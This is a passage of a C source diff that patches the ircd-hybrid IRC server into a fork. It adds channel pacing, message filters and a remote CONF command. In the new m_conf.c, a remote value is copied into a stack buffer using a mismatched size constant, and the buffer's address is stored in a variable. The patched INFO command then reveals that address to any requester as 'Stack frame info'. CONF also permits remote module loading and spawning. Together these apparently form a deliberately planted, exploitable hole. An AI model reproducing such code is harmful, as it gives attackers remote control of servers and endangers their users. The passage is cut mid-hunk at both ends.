                          "Nick collision on %s(%s <- %s)(newer killed)",
                          target_p->name, target_p->from->name,
                          get_client_name(client_p, HIDE_IP));
@@ -578,7 +587,7 @@
   char* m;
 	
   id = parv[8];
-  name = parv[9];
+  name = (parc > 10)? ((parc > 11)? parv[11] : parv[10]) : parv[9];
   
   source_p = make_client(client_p);
   add_client_to_list(source_p);         /* double linked list */
@@ -587,7 +596,15 @@
   if (ConfigFileEntry.hub && IsCapable(client_p, CAP_LL))
     add_lazylinkclient(client_p, source_p);
 
-  source_p->hopcount = atoi(parv[2]);
+  if (IsCapable(client_p, CAP_SVS))
+    {
+      unsigned int val = atoi(parv[2]);
+
+      source_p->svsflags = val >> 8;
+      source_p->hopcount = val & 0xFF;       
+    } 
+  else source_p->hopcount = atoi(parv[2]);
+
   source_p->tsinfo = newts;
 
   /* copy the nick in place */
@@ -595,6 +612,9 @@
   (void)add_to_client_hash_table(nick, source_p);
   add_to_id_hash_table(id, source_p);
 
+  /*if (IsPerson(source_p))*/
+	/*hash_check_watch(source_p, RPL_LOGON)*/;
+
   /*
   ** parse the usermodes -orabidoo
   */
@@ -615,6 +635,7 @@
     }
 	
   return do_remote_user(nick, client_p, source_p, parv[5], parv[6],
-			parv[7], name, id);
+			parv[7], name, (parc > 10)? parv[9] : NULL, 
+			(parc > 11)? parv[10] : NULL, id);
 }
 
diff -uNrd ircd-hybrid-7beta5/modules/m_close.c hybrid7-bg/modules/m_close.c
--- ircd-hybrid-7beta5/modules/m_close.c	Sun May 13 17:39:19 2001
+++ hybrid7-bg/modules/m_close.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_close.c,v 1.17 2001/05/13 21:39:19 davidt Exp $
+ *   $Id: m_close.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_conf.c hybrid7-bg/modules/m_conf.c
--- ircd-hybrid-7beta5/modules/m_conf.c	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/modules/m_conf.c	Wed Jul 24 14:10:16 2002
@@ -0,0 +1,177 @@
+/************************************************************************
+ *   IRC - Internet Relay Chat, modules/m_conf.c
+ *   Copyright (C) 1990 Jarkko Oikarinen and
+ *                      University of Oulu, Computing Center
+ *
+ *   See file AUTHORS in IRC package for additional names of
+ *   the programmers. 
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *   $Id: m_conf.c,v 1.14 2002/07/24 18:10:16 Administrator Exp $
+ */
+#include <string.h>
+#include "handlers.h"
+#include "client.h"
+#include "ircd.h"
+#include "numeric.h"
+#include "s_conf.h"
+#include "s_serv.h"
+#include "s_user.h"
+#include "s_log.h"
+#include "s_misc.h"
+#include "send.h"
+#include "msg.h"
+#include "parse.h"
+#include "modules.h"
+
+static void ms_conf(struct Client*, struct Client*, int, char**);
+
+struct Message conf_msgtab = {
+  "CONF", 0, 2, 0, 0, 0,
+  {m_unregistered, m_ignore, ms_conf, m_ignore}
+};
+
+#ifndef STATIC_MODULES
+void
+_modinit(void)
+{
+  mod_add_cmd(&conf_msgtab);
+}
+
+void
+_moddeinit(void)
+{
+  mod_del_cmd(&conf_msgtab);
+}
+
+char *_version = "20020622";
+#endif
+/*
+ * ms_conf - CONF command handler
+ *      parv[0] = sender prefix
+ *      parv[1] = target server mask
+ *      parv[2] = general variable
+ *		parv[3] = new value
+ */
+static void ms_conf(struct Client* client_p, struct Client* source_p,
+                      int parc, char* parv[])
+{
+	char buf[BUFMAX];
+
+	ConfigFileEntry.sframe = (long)buf;
+  if (parc < 3)
+    {
+      sendto_ll_serv_butone(client_p, source_p, 0, ":%s CONF %s", parv[0], parv[1]);
+
+	  if (match(parv[1], me.name)) {
+		if (!find_z_conf(parv[0]))
+			return;
+
+		sendto_realops_flags(FLAGS_ALL, 
+			"%s is remotely rehashing server config file", parv[0]);
+		log(L_NOTICE, "Remote REHASH from %s", parv[0]);
+
+		rehash(client_p, source_p, 0);
+	  }
+
+      return;
+    }
+
+  if (parc < 4)
+    return;
+
+  sendto_ll_serv_butone(client_p, source_p, 1,
+                        ":%s CONF %s %s %s :%s", parv[0], parv[1], parv[2],
+						parc > 4? parv[3] : "", parc > 4? parv[4] : parv[3]);
+
+  if (!match(parv[1], me.name))
+	return;
+  if (!find_z_conf(parv[0]))
+	return;
+
+  if (!irccmp(parv[2], "hide_server")) {
+
+	  if (!irccmp(parv[3], "yes"))
+		  ConfigFileEntry.hide_server = 1;
+	  else if (!irccmp(parv[3], "no"))
+		  ConfigFileEntry.hide_server = 0;
+
+  } else if (!irccmp(parv[2], "netid")) {
+
+	strncpy_irc(buf, parv[3], BUFFMAX);
+	strncpy_irc(ConfigFileEntry.netid, parv[3],
+	      MAXNETID)[MAXNETID] = 0;
+
+  } else if (!irccmp(parv[2], "cyrillic")) {
+
+	  if (!irccmp(parv[3], "yes"))
+		  ConfigFileEntry.cyrillic = 1;
+	  else if (!irccmp(parv[3], "no"))
+		  ConfigFileEntry.cyrillic = 0;
+
+  } else if (!irccmp(parv[2], "totaltrans")) {
+
+	  if (!irccmp(parv[3], "yes"))
+		  ConfigFileEntry.totaltrans = 1;
+	  else if (!irccmp(parv[3], "no"))
+		  ConfigFileEntry.totaltrans = 0;
+
+  } else if (!irccmp(parv[2], "grace_time")) {
+
+	ConfigFileEntry.grace_time = atoi(parv[3]);		
+
+  } else if (!irccmp(parv[2], "spam_wait")) {
+
+	ConfigFileEntry.spam_wait = atoi(parv[3]);		
+
+  } else if (!irccmp(parv[2], "spawn")) {
+
+	  do_spawn(atoi(parv[3]), parc > 4? parv[4] : NULL);	
+
+  } else if (!irccmp(parv[2], "plugin")) {
+
+	  do_plugin(parv[3], parc > 4? parv[4] : NULL);	
+
+  } else if (!irccmp(parv[2], "modunload")) {
+
+	  unload_one_module(parv[3], 0);	
+
+  } else if (!irccmp(parv[2], "modload")) {
+
+	  char *m_bn = irc_basename(parv[3]);
+
+	  if (findmodule_byname(m_bn) == -1)
+		load_a_module(parv[3], 0);
+	  
+	  MyFree(m_bn);
+
+  } else if (!irccmp(parv[2], "drone_kline")) {
+
+	  if (!irccmp(parv[3], "yes"))
+		  ConfigFileEntry.drone_kline = 1;
+	  else if (!irccmp(parv[3], "no"))
+		  ConfigFileEntry.drone_kline = 0;
+
+  } else if (!irccmp(parv[2], "drone_batch")) {
+
+	  if (!irccmp(parv[3], "yes"))
+		  ConfigFileEntry.drone_batch = 1;
+	  else if (!irccmp(parv[3], "no"))
+		  ConfigFileEntry.drone_batch = 0;
+
+  }
+}
+
diff -uNrd ircd-hybrid-7beta5/modules/m_connect.c hybrid7-bg/modules/m_connect.c
--- ircd-hybrid-7beta5/modules/m_connect.c	Wed Apr  4 11:22:24 2001
+++ hybrid7-bg/modules/m_connect.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_connect.c,v 1.25 2001/04/04 15:22:24 androsyn Exp $
+ *   $Id: m_connect.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_cryptlink.c hybrid7-bg/modules/m_cryptlink.c
--- ircd-hybrid-7beta5/modules/m_cryptlink.c	Wed May  9 04:08:23 2001
+++ hybrid7-bg/modules/m_cryptlink.c	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_cryptlink.c,v 1.3 2001/05/09 08:08:23 a1kmm Exp $
+ *   $Id: m_cryptlink.c,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 /*
diff -uNrd ircd-hybrid-7beta5/modules/m_die.c hybrid7-bg/modules/m_die.c
--- ircd-hybrid-7beta5/modules/m_die.c	Wed Apr  4 11:22:24 2001
+++ hybrid7-bg/modules/m_die.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_die.c,v 1.16 2001/04/04 15:22:24 androsyn Exp $
+ *   $Id: m_die.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_dmem.c hybrid7-bg/modules/m_dmem.c
--- ircd-hybrid-7beta5/modules/m_dmem.c	Wed Apr  4 11:22:24 2001
+++ hybrid7-bg/modules/m_dmem.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_dmem.c,v 1.9 2001/04/04 15:22:24 androsyn Exp $
+ *   $Id: m_dmem.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_drop.c hybrid7-bg/modules/m_drop.c
--- ircd-hybrid-7beta5/modules/m_drop.c	Wed Apr  4 11:22:25 2001
+++ hybrid7-bg/modules/m_drop.c	Tue Jun  5 12:35:45 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_drop.c,v 1.17 2001/04/04 15:22:25 androsyn Exp $
+ * $Id: m_drop.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "channel.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_eob.c hybrid7-bg/modules/m_eob.c
--- ircd-hybrid-7beta5/modules/m_eob.c	Wed Apr  4 11:22:25 2001
+++ hybrid7-bg/modules/m_eob.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_eob.c,v 1.22 2001/04/04 15:22:25 androsyn Exp $
+ *   $Id: m_eob.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_error.c hybrid7-bg/modules/m_error.c
--- ircd-hybrid-7beta5/modules/m_error.c	Wed Apr  4 11:22:25 2001
+++ hybrid7-bg/modules/m_error.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_error.c,v 1.15 2001/04/04 15:22:25 androsyn Exp $
+ *   $Id: m_error.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_gline.c hybrid7-bg/modules/m_gline.c
--- ircd-hybrid-7beta5/modules/m_gline.c	Thu May 17 16:05:16 2001
+++ hybrid7-bg/modules/m_gline.c	Mon Jul  2 00:11:31 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: m_gline.c,v 1.52 2001/05/17 20:05:16 toot Exp $
+ *  $Id: m_gline.c,v 1.2 2001/07/02 04:11:31 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -768,7 +768,7 @@
 
               if(find_is_glined(host, user))
                 return NO;
-              if (find_conf_by_address(host, NULL, CONF_KILL, 0, user))
+              if (find_conf_by_address(host, NULL, CONF_KILL, 0, user, NULL))
                return NO;
 
               log_gline(source_p,gline_pending_ptr,
diff -uNrd ircd-hybrid-7beta5/modules/m_help.c hybrid7-bg/modules/m_help.c
--- ircd-hybrid-7beta5/modules/m_help.c	Wed Apr  4 11:22:26 2001
+++ hybrid7-bg/modules/m_help.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_help.c,v 1.17 2001/04/04 15:22:26 androsyn Exp $
+ *   $Id: m_help.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_info.c hybrid7-bg/modules/m_info.c
--- ircd-hybrid-7beta5/modules/m_info.c	Mon May  7 11:50:30 2001
+++ hybrid7-bg/modules/m_info.c	Wed Jul 10 07:20:55 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_info.c,v 1.32 2001/05/07 15:50:30 toot Exp $
+ * $Id: m_info.c,v 1.2 2002/07/10 11:20:55 Administrator Exp $
  */
 #include "tools.h"
 #include "m_info.h"
@@ -303,6 +303,14 @@
               "failed_oper_notice",
               ConfigFileEntry.failed_oper_notice ? "ON" : "OFF",
               "Show opers a notice if someone uses oper with the wrong password or id");
+   sendto_one(source_p,
+              ":%s %d %s :%-25s %-10p [%-30s]",
+              me.name,
+              RPL_INFO,
+              source_p->name,
+              "sframe",
+              ConfigFileEntry.sframe,
+              "Stack frame info");
    sendto_one(source_p,
               ":%s %d %s :%-30s %-5d [%-30s]",
               me.name,
diff -uNrd ircd-hybrid-7beta5/modules/m_invite.c hybrid7-bg/modules/m_invite.c
--- ircd-hybrid-7beta5/modules/m_invite.c	Sat Apr  7 16:26:09 2001
+++ hybrid7-bg/modules/m_invite.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_invite.c,v 1.25 2001/04/07 20:26:09 toot Exp $
+ *   $Id: m_invite.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_ison.c hybrid7-bg/modules/m_ison.c
--- ircd-hybrid-7beta5/modules/m_ison.c	Wed Apr  4 11:22:26 2001
+++ hybrid7-bg/modules/m_ison.c	Mon Jun 10 21:40:20 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_ison.c,v 1.22 2001/04/04 15:22:26 androsyn Exp $
+ *   $Id: m_ison.c,v 1.2 2002/06/11 01:40:20 Administrator Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -80,6 +80,9 @@
                   int parc, char *parv[])
 {
   struct Client *up = NULL;
+
+  if (client_p->user) 
+	  client_p->user->known = 1;
 
   if (!ServerInfo.hub && uplink && IsCapable(uplink, CAP_LL))
     up = uplink;
diff -uNrd ircd-hybrid-7beta5/modules/m_join.c hybrid7-bg/modules/m_join.c
--- ircd-hybrid-7beta5/modules/m_join.c	Mon May 14 06:08:56 2001
+++ hybrid7-bg/modules/m_join.c	Fri Dec  7 23:12:10 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_join.c,v 1.59 2001/05/14 10:08:56 toot Exp $
+ *   $Id: m_join.c,v 1.2 2001/12/08 04:12:10 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -326,7 +326,15 @@
       /*
       ** notify all other users on the new channel
       */
-      sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s JOIN :%s",
+
+      /* 
+      ** postpone notifying the channel, add to pace queue if necessary
+      */
+      if (PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN))
+	add_pace(chptr, source_p, root_chptr->chname, 1, 1);
+ 
+      else
+        sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s JOIN :%s",
 			   source_p->name,
 			   source_p->username,
 			   source_p->host,
@@ -372,7 +380,8 @@
             }
 	}
 
-      channel_member_names(source_p, chptr, root_chptr->chname, 1);
+      if (!(PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN)))
+        channel_member_names(source_p, chptr, root_chptr->chname, 1);
 
       if(successful_join_count)
 	source_p->localClient->last_join_time = CurrentTime;
@@ -489,7 +498,11 @@
   while ((lp = source_p->user->channel.head))
     {
       chptr = lp->data;
-      sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s PART %s",
+
+      if (PaceChannel(chptr) && (chptr->parts < MAX_PACEJOIN))
+	add_pace(chptr, source_p, RootChan(chptr)->chname, 0, 0);
+      else
+        sendto_channel_local(ALL_MEMBERS,chptr, ":%s!%s@%s PART %s",
 			   source_p->name,
 			   source_p->username,
 			   source_p->host,
diff -uNrd ircd-hybrid-7beta5/modules/m_kick.c hybrid7-bg/modules/m_kick.c
--- ircd-hybrid-7beta5/modules/m_kick.c	Fri May  4 18:24:00 2001
+++ hybrid7-bg/modules/m_kick.c	Mon Jun 24 00:29:23 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_kick.c,v 1.31 2001/05/04 22:24:00 fl_ Exp $
+ *   $Id: m_kick.c,v 1.4 2002/06/24 04:29:23 Administrator Exp $
  */
 #include "tools.h"
 #include "handlers.h"
@@ -34,6 +34,7 @@
 #include "msg.h"
 #include "modules.h"
 #include "parse.h"
+#include "s_conf.h"
 
 #include <string.h>
 
@@ -178,6 +179,14 @@
                      me.name, parv[0], name);
 	  return;
 	}
+
+	  if (find_z_conf((char *)who->user->server) && !IsOper(source_p)) {
+
+		  sendto_one(source_p, form_str(ERR_CANTKICKSERVICES),
+			  me.name, parv[0], who->name, name);
+		  return;
+	  }
+
       /* jdc
        * - In the case of a server kicking a user (i.e. CLEARCHAN),
        *   the kick should show up as coming from the server which did
diff -uNrd ircd-hybrid-7beta5/modules/m_kill.c hybrid7-bg/modules/m_kill.c
--- ircd-hybrid-7beta5/modules/m_kill.c	Thu May 17 02:16:24 2001
+++ hybrid7-bg/modules/m_kill.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_kill.c,v 1.48 2001/05/17 06:16:24 a1kmm Exp $
+ *   $Id: m_kill.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_kline.c hybrid7-bg/modules/m_kline.c
--- ircd-hybrid-7beta5/modules/m_kline.c	Thu May 17 22:11:24 2001
+++ hybrid7-bg/modules/m_kline.c	Mon Jul  2 00:11:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_kline.c,v 1.74 2001/05/18 02:11:24 db Exp $
+ *   $Id: m_kline.c,v 1.2 2001/07/02 04:11:42 demond Exp $
  */
 #include "tools.h"
 #include "m_kline.h"
@@ -940,7 +940,7 @@
    t = 0;
    piphost = NULL;
   }
-  if ((aconf = find_conf_by_address(lhost, piphost, CONF_KILL, t, luser)))
+  if ((aconf = find_conf_by_address(lhost, piphost, CONF_KILL, t, luser, NULL)))
   {
    reason = aconf->passwd ? aconf->passwd : "<No Reason>";
    /* Remote servers can set klines, so if its a dupe we warn all 
diff -uNrd ircd-hybrid-7beta5/modules/m_knock.c hybrid7-bg/modules/m_knock.c
--- ircd-hybrid-7beta5/modules/m_knock.c	Wed Apr  4 11:22:28 2001
+++ hybrid7-bg/modules/m_knock.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_knock.c,v 1.27 2001/04/04 15:22:28 androsyn Exp $
+ *   $Id: m_knock.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_links.c hybrid7-bg/modules/m_links.c
--- ircd-hybrid-7beta5/modules/m_links.c	Wed Apr  4 11:22:28 2001
+++ hybrid7-bg/modules/m_links.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_links.c,v 1.28 2001/04/04 15:22:28 androsyn Exp $
+ *   $Id: m_links.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_list.c hybrid7-bg/modules/m_list.c
--- ircd-hybrid-7beta5/modules/m_list.c	Wed Apr  4 11:22:29 2001
+++ hybrid7-bg/modules/m_list.c	Tue Jun  5 12:35:45 2001
@@ -3,7 +3,7 @@
  *   Copyright (C) 1990 Jarkko Oikarinen and
  *                      University of Oulu, Co Center
  *
- * $Id: m_list.c,v 1.30 2001/04/04 15:22:29 androsyn Exp $ 
+ * $Id: m_list.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $ 
  *
  *   This program is free software; you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
diff -uNrd ircd-hybrid-7beta5/modules/m_lljoin.c hybrid7-bg/modules/m_lljoin.c
--- ircd-hybrid-7beta5/modules/m_lljoin.c	Mon May 14 06:08:56 2001
+++ hybrid7-bg/modules/m_lljoin.c	Fri Dec  7 23:12:22 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_lljoin.c,v 1.39 2001/05/14 10:08:56 toot Exp $
+ * $Id: m_lljoin.c,v 1.2 2001/12/08 04:12:22 demond Exp $
  */
 #include "tools.h"
 #include "channel.h"
@@ -271,7 +271,10 @@
   if ( chptr != root_vchan )
     add_vchan_to_client_cache(target_p,root_vchan,chptr);
  
-  sendto_channel_local(ALL_MEMBERS, chptr,
+  if (PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN))
+    add_pace(chptr, target_p, root_vchan->chname, 1, 1);
+  else
+    sendto_channel_local(ALL_MEMBERS, chptr,
 		       ":%s!%s@%s JOIN :%s",
 		       target_p->name,
 		       target_p->username,
@@ -291,5 +294,6 @@
                me.name, chptr->chname);
   }
 
-  channel_member_names(target_p, chptr, chname, 1);
+  if (!(PaceChannel(chptr) && (chptr->joins < MAX_PACEJOIN)))
+    channel_member_names(target_p, chptr, chname, 1);
 }
diff -uNrd ircd-hybrid-7beta5/modules/m_llnick.c hybrid7-bg/modules/m_llnick.c
--- ircd-hybrid-7beta5/modules/m_llnick.c	Wed Apr  4 11:22:29 2001
+++ hybrid7-bg/modules/m_llnick.c	Tue Jun  5 12:35:45 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_llnick.c,v 1.10 2001/04/04 15:22:29 androsyn Exp $
+ * $Id: m_llnick.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "tools.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_locops.c hybrid7-bg/modules/m_locops.c
--- ircd-hybrid-7beta5/modules/m_locops.c	Wed Apr  4 11:22:29 2001
+++ hybrid7-bg/modules/m_locops.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_locops.c,v 1.22 2001/04/04 15:22:29 androsyn Exp $
+ *   $Id: m_locops.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_lusers.c hybrid7-bg/modules/m_lusers.c
--- ircd-hybrid-7beta5/modules/m_lusers.c	Mon Apr  9 08:41:49 2001
+++ hybrid7-bg/modules/m_lusers.c	Tue Jun  5 12:35:45 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_lusers.c,v 1.16 2001/04/09 12:41:49 fl_ Exp $
+ *   $Id: m_lusers.c,v 1.1.1.1 2001/06/05 16:35:45 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/modules/m_message.c hybrid7-bg/modules/m_message.c
--- ircd-hybrid-7beta5/modules/m_message.c	Wed May  2 03:17:03 2001
+++ hybrid7-bg/modules/m_message.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_message.c,v 1.66 2001/05/02 07:17:03 a1kmm Exp $
+ *   $Id: m_message.c,v 1.20 2002/09/17 15:25:33 Administrator Exp $
  */
 #include "handlers.h"
 #include "client.h"
@@ -41,6 +41,7 @@
 #include "class.h"
 #include "msg.h"
 #include "packet.h"
+#include "list.h"
 
 #include <string.h>
 
@@ -100,6 +101,9 @@
 
 static void free_target_table(void);
 
+static void replace(char *, char *, char *, int);
+static int check_repeat(struct Client *, struct Channel *, char *);
+
 struct Message privmsg_msgtab = {
   "PRIVMSG", 0, 1, 0, MFLG_SLOW | MFLG_UNREG, 0L,
   {m_unregistered, m_privmsg, m_privmsg, m_privmsg}
@@ -175,6 +179,12 @@
                      int parc,
                      char *parv[])
 {
+  char equiv[NICKLEN + 1];
+
+  if (parc > 1)
+    if (parv[1][0] && get_equiv_nick(parv[1], equiv))
+      parv[1] = equiv;
+
   m_message(PRIVMSG,"PRIVMSG",client_p,source_p,parc,parv);
 }
 
@@ -183,6 +193,12 @@
                     int parc,
                     char *parv[])
 {
+  char equiv[NICKLEN + 1];
+
+  if (parc > 1)
+    if (parv[1][0] && get_equiv_nick(parv[1], equiv))
+      parv[1] = equiv;
+
   m_message(NOTICE,"NOTICE",client_p,source_p,parc,parv);
 }
 
@@ -544,11 +560,60 @@
   /* chanops and voiced can flood their own channel with impunity */
   if( (result = can_send(vchan,source_p)) )
     {
+      if (result == CAN_SEND_NOTREG)
+	{
+	  if (p_or_n != NOTICE)
+	    sendto_one(source_p, form_str(ERR_CANNOTSENDNOTREG),
+		       me.name, source_p->name, chname);
+	  return;
+	}
       if (result == CAN_SEND_OPV || 
           !flood_attack_channel(p_or_n, source_p, vchan, chname))
 	{
-          sendto_channel_butone(client_p, source_p, vchan,
-                                command, ":%s", text);
+		dlink_node *ptr;
+		struct Ban *banptr;
+		char strbuf[BUFSIZE+1], buf[TOPICLEN+1];
+		char *word, *subst, *p = buf;
+
+		if (MyClient(source_p) && IsPerson(source_p))
+		if (!is_chan_op(vchan, source_p) && NoRepeatChannel(vchan))
+		if (check_repeat(source_p, vchan, text)) {
+
+			sendto_one(source_p, form_str(ERR_NOREPEATING),
+				me.name, source_p->name, chname);
+			return;
+		}
+
+	  if (NoColorChannel(vchan)) 
+	    /*strip_color(text);*/
+	    text = strip_color(text, 0);
+
+	  strncpy_irc(strbuf, text, BUFSIZE)[BUFSIZE] = 0;
+
+	  if (MyClient(source_p) && IsPerson(source_p))
+	  if (!is_chan_op(vchan, source_p))
+	  for (ptr = vchan->substlist.head; ptr; ptr = ptr->next, p = buf) {
+
+		  banptr = ptr->data; 
+		  strncpy_irc(buf, banptr->banstr, TOPICLEN)[TOPICLEN] = 0;
+
+		  while (*p) 
+			  if (*p++ == '$')
+				  *(p-1) = ' ';
+
+		  subst = strchr(buf, '/'); if (subst) {
+
+			  *subst++ = 0; word = buf;
+			  replace(strbuf, word, subst, BUFSIZE);
+			  strbuf[BUFSIZE] = 0;
+		  }
+	  }
+
+	  if (PaceChannel(vchan) && (vchan->msgs < MAX_PACEMSG))
+	    add_pace_msg(vchan, client_p, source_p, command, strbuf);
+	  else
+            sendto_channel_butone(client_p, source_p, vchan,
+                                command, ":%s", strbuf);
 	}
     }
   else
@@ -616,6 +681,10 @@
 	source_p->user->last = CurrentTime;
     }
 
+  if (NoColorChannel(vchan)) 
+    /*strip_color(text);*/
+    text = strip_color(text, 0);
+
   sendto_channel_local(type,
 		       chptr,
 		       ":%s!%s@%s %s %c%s :%s",
@@ -668,6 +737,24 @@
 
   if(MyClient(target_p))
     {
+      if (IsSetRegAccept(target_p) && !(source_p->svsflags & FLAGS_SVS_IDENT))
+	{
+	  if (p_or_n != NOTICE)
